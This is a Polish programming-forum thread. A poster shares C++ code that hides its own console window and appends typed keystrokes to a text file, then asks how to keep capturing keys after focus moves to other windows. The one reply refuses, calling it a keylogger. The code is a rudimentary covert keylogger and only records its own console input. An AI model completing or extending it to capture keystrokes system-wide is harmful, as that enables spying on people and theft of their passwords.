Focus na dany proces

0

Witam napisałem sobie taki program, który zczytuje znaki z klawiatury i zapisuje do pliku txt, lecz gdy klikne na ekran program traci fokus i juz znakow nie zapisuje. Potrzebuje pomocy w ustalenie "focusa" na dana aplikacje/proces z którego ma zczytywać znaki.

 

#include <iostream>
#include <fstream>
#include <cstdlib>
#include <dos.h>
#include <conio.h>
 #define _WIN32_WINNT 0x500
 #include <windows.h>
using namespace std;
 int poczatek = clock();

int main()
{
   HWND hWnd=GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE);
    string a,b;
    string n;
    int x=0;
    fstream plik;
    
while( clock() < poczatek + 5000 ) {
do
    {
        
        
        for(int i=0; i<10; i++)
        {
n=getche();

plik.open("plik.txt", ios::out | ios::app);
    if(plik.good() == true)
    {
        plik <<n;
        
        plik.close();
    }
}

   cout<<endl;
  

        
    } while( getch() != getch() );
}
    return(0);
}


0

Do Keylogger'a porad nie dostaniesz.

1 użytkowników online, w tym zalogowanych: 0, gości: 1